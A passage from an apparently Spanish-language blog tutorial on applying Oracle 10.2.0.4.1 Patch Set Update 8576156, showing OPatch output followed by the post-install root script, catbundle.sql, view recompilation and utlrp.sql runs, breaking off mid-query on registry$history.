Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kksl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/evar2v.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbz.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbk.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfafo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfcfg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfipc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfmon.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfmon1.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfra.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrdb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrla.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrld.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrpa.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrpd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrst.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrxpt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfsicd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfsl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfsx.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfupg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knld.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktu.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/koklm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kokeg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvi.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvrda.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvu.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvx.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knaha.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knahf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knahs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knals.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knasp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knlc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knlcf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knlci.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktuq.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krfr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krff.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kct.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kccr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kck.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcra.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrfr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrlc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krfg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krfw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksct.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kspt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/tbsdrv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/dbsdrv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfgb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfk.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfk0.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kqf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjfc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjfd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjfm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kslt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kji.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjbr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfcb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfcl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfrb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kwqmn.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksu.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksq.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbz.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbk.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjbl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksxp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjdd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjdr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjbm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrfw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knld.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/prsc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/prsg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/prssz.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kzrt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kpolon.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kxfx.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktss.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qertqo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kxfq.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksws.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/libperfsrv10.a"  with "rdbms/lib/libperfsrv10.a/qcodfdef_PERF.o"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/cpu/view_recompile/recompile_precheck_jan2008cpu.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/cpu/view_recompile/view_recompile_jan2008cpu.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/psu/10.2.0.4.1/catpsu.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/psu/10.2.0.4.1/catpsu_rollback.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/bundledata_PSU.xml"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/catbundle.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/jox.o"

Patching component oracle.javavm.server, 10.2.0.4.0...
Copying file to "/u01/app/oracle/product/10.2.0/db_4/lib/libjox10.so"

Patching component oracle.sysman.repository.core, 10.2.0.4.0a...
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/rsc/inst/RsrcMonitorMsg.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/rsc/inst/RsrcMonitorMsgID.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/rsrcmgr/RsrcmgrMonController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/MemoryController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/SessionDetailsController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/SitemapController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/emo/perf/bean/sesn/SessionDetails.class"

Patching component oracle.sysman.console.db, 10.2.0.4.0...
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_healthgif.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_healthgif$__jsp_StaticText.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_health.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_health$__jsp_StaticText.class"

Patching component oracle.ovm, 10.2.0.4.0...
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmctrg.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmadmb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmadms.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmasrtb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmltb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmutlb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmutls.plb"

Patching component oracle.network.rsf, 10.2.0.4.0...
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libn10.a"  with "lib/libn10.a/nacom.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsglgr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsglro.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsgcs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsglsn.o"

Patching component oracle.network.listener, 10.2.0.4.0...
Running make for target iextjob
Running make for target iextjobo
Running make for target client_sharedlib
Running make for target idgmgrl
Running make for target ioracle
Running make for target client_sharedlib
Running make for target itnslsnr
ApplySession adding interim patch '8576156' to inventory

Verifying the update...
Inventory check OK: Patch ID 8576156 is registered in Oracle Home inventory with proper meta-data.
Files check OK: Files from Patch ID 8576156 are present in Oracle Home.

--------------------------------------------------------------------------------
********************************************************************************
********************************************************************************
**                                ATTENTION                                   **
**                                                                            **
** Please note that the Patch Set Update Installation (PSU Deinstallation)    **
** is not complete until all the Post Installation (Post Deinstallation)      **
** instructions noted in the Readme accompanying this PSU, have been          **
** successfully completed.                                                    **
**                                                                            **
********************************************************************************
********************************************************************************

--------------------------------------------------------------------------------

Execution of 'sh /home/oracle/8576156/custom/scripts/post -apply 8576156 ':


Return Code = 0

The local system has been patched and can be restarted.


OPatch succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Hasta ahora todo va bien, pero falta un paso final, necesario para que el &lt;b&gt;&lt;i&gt;Scheduler&lt;/i&gt;&lt;/b&gt; funcione adecuadamente.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania 8576156]$ su root
Password:
[root@urania 8576156]# sh psu_root.sh
[root@urania 8576156]# exit&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Proceso concluído, pero no hemos terminado, falta hacer la &lt;b&gt;post instalación&lt;/b&gt;. Empezamos por ejecutar &lt;i&gt;catbundle.sql&lt;/i&gt;, no olvidar revisar los logs para verificar que no hubieron errores.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania 8576156]$ cd $ORACLE_HOME/rdbms/admin
[oracle@urania admin]$ sqlplus / as sysdba
SYS@test&gt; startup
SYS@test&gt; @catbundle.sql psu apply
. . .
. . .
. . .
SYS@test&gt; ALTER SESSION SET current_schema = SYS;

Session altered.

SYS@test&gt; PROMPT Updating registry...
Updating registry...
SYS@test&gt; INSERT INTO registry$history
  2    (action_time, action,
  3     namespace, version, id,
  4     bundle_series, comments)
  5  VALUES
  6    (SYSTIMESTAMP, 'APPLY',
  7     SYS_CONTEXT('REGISTRY$CTX','NAMESPACE'),
  8     '10.2.0.4',
  9     1,
 10     'PSU',
 11     'PSU 10.2.0.4.1');

1 row created.

SYS@test&gt; COMMIT;

Commit complete.

SYS@test&gt; SPOOL off
SYS@test&gt; SET echo off
Check the following log file for errors:
/u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/catbundle/catbundle_PSU_TEST_APPLY_2009Jul15_13_13_44.log

SYS@test&gt; exit&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;El paso final es &lt;b&gt;recompilar&lt;/b&gt; las vistas de la base de datos, ojo que puede tomar bastantes minutos. Primero verificamos cuántos objetos se compilarán y luego ejecutamos la compilación en sí.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania admin]$ cd $ORACLE_HOME/cpu/view_recompile
[oracle@urania view_recompile]$ sqlplus / as sysdba
SYS@test&gt; @recompile_precheck_jan2008cpu.sql

Running precheck.sql...


Number of views to be recompiled :2081
-----------------------------------------------------------------------

Number of objects to be recompiled :4171
Please follow the README.txt instructions for running viewrecomp.sql

PL/SQL procedure successfully completed.

SYS@test&gt; exit&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd $ORACLE_HOME/cpu/view_recompile
[oracle@urania view_recompile]$ sqlplus / as sysdba
SYS@test&gt; shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
SYS@test&gt; startup upgrade
ORACLE instance started.

Total System Global Area  247463936 bytes
Fixed Size                  1266848 bytes
Variable Size              96471904 bytes
Database Buffers          146800640 bytes
Redo Buffers                2924544 bytes
Database mounted.
Database opened.
SYS@test&gt; @view_recompile_jan2008cpu.sql

PL/SQL procedure successfully completed.

PL/SQL procedure successfully completed.

PL/SQL procedure successfully completed.

1 row created.

Commit complete.

No. of Invalid Objects is :1595
Please refer to README.html to for instructions on validating these objects

PL/SQL procedure successfully completed.

Logfile for the current viewrecomp.sql session is : vcomp_TEST_15Jul2009_13_23_16.log
SYS@test&gt; shutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
SYS@test&gt; startup
ORACLE instance started.

Total System Global Area  247463936 bytes
Fixed Size                  1266848 bytes
Variable Size             109054816 bytes
Database Buffers          134217728 bytes
Redo Buffers                2924544 bytes
Database mounted.
Database opened.
SYS@test&gt; exit&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Algunos objetos quedaron &lt;b&gt;descompilados&lt;/b&gt; por lo que debemos ejecutar &lt;b&gt;&lt;i&gt;utlrp.sql&lt;/i&gt;&lt;/b&gt; para compilarlos.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd $ORACLE_HOME/rdbms/admin
[oracle@urania admin]$ sqlplus / as sysdba
SYS@test&gt; @utlrp.sql

TIMESTAMP
----------------------------------------------------------------------------------------------------
COMP_TIMESTAMP UTLRP_BGN  2009-07-15 13:29:22

DOC&gt;   The following PL/SQL block invokes UTL_RECOMP to recompile invalid
DOC&gt;   objects in the database. Recompilation time is proportional to the
DOC&gt;   number of invalid objects in the database, so this command may take
DOC&gt;   a long time to execute on a database with a large number of invalid
DOC&gt;   objects.
DOC&gt;
DOC&gt;   Use the following queries to track recompilation progress:
DOC&gt;
DOC&gt;   1. Query returning the number of invalid objects remaining. This
DOC&gt;      number should decrease with time.
DOC&gt;         SELECT COUNT(*) FROM obj$ WHERE status IN (4, 5, 6);
DOC&gt;
DOC&gt;   2. Query returning the number of objects compiled so far. This number
DOC&gt;      should increase with time.
DOC&gt;         SELECT COUNT(*) FROM UTL_RECOMP_COMPILED;
DOC&gt;
DOC&gt;   This script automatically chooses serial or parallel recompilation
DOC&gt;   based on the number of CPUs available (parameter cpu_count) multiplied
DOC&gt;   by the number of threads per CPU (parameter parallel_threads_per_cpu).
DOC&gt;   On RAC, this number is added across all RAC nodes.
DOC&gt;
DOC&gt;   UTL_RECOMP uses DBMS_SCHEDULER to create jobs for parallel
DOC&gt;   recompilation. Jobs are created without instance affinity so that they
DOC&gt;   can migrate across RAC nodes. Use the following queries to verify
DOC&gt;   whether UTL_RECOMP jobs are being created and run correctly:
DOC&gt;
DOC&gt;   1. Query showing jobs created by UTL_RECOMP
DOC&gt;         SELECT job_name FROM dba_scheduler_jobs
DOC&gt;            WHERE job_name like 'UTL_RECOMP_SLAVE_%';
DOC&gt;
DOC&gt;   2. Query showing UTL_RECOMP jobs that are running
DOC&gt;         SELECT job_name FROM dba_scheduler_running_jobs
DOC&gt;            WHERE job_name like 'UTL_RECOMP_SLAVE_%';
DOC&gt;#

PL/SQL procedure successfully completed.


TIMESTAMP
----------------------------------------------------------------------------------------------------
COMP_TIMESTAMP UTLRP_END  2009-07-15 13:31:06


PL/SQL procedure successfully completed.

DOC&gt; The following query reports the number of objects that have compiled
DOC&gt; with errors (objects that compile with errors have status set to 3 in
DOC&gt; obj$). If the number is higher than expected, please examine the error
DOC&gt; messages reported with each object (using SHOW ERRORS) to see if they
DOC&gt; point to system misconfiguration or resource constraints that must be
DOC&gt; fixed before attempting to recompile these objects.
DOC&gt;#

OBJECTS WITH ERRORS
-------------------
                  0

DOC&gt; The following query reports the number of errors caught during
DOC&gt; recompilation. If this number is non-zero, please query the error
DOC&gt; messages in the table UTL_RECOMP_ERRORS to see if any of these errors
DOC&gt; are due to misconfiguration or resource constraints that must be
DOC&gt; fixed before objects can compile successfully.
DOC&gt;#

ERRORS DURING RECOMPILATION
---------------------------
                          0


PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;De ser necesario habría que recompilar manualmente los objetos que hubiesen quedado descompilados. Con esto se ha concluído satisfactoriamente la instalación del primer &lt;b&gt;PSU&lt;/b&gt;, contamos ahora con &lt;b&gt;Oracle 10.2.0.4.1&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@test&gt; select version, comments from registry$history;

VERSION              COMMENTS
-------------------- --------------------
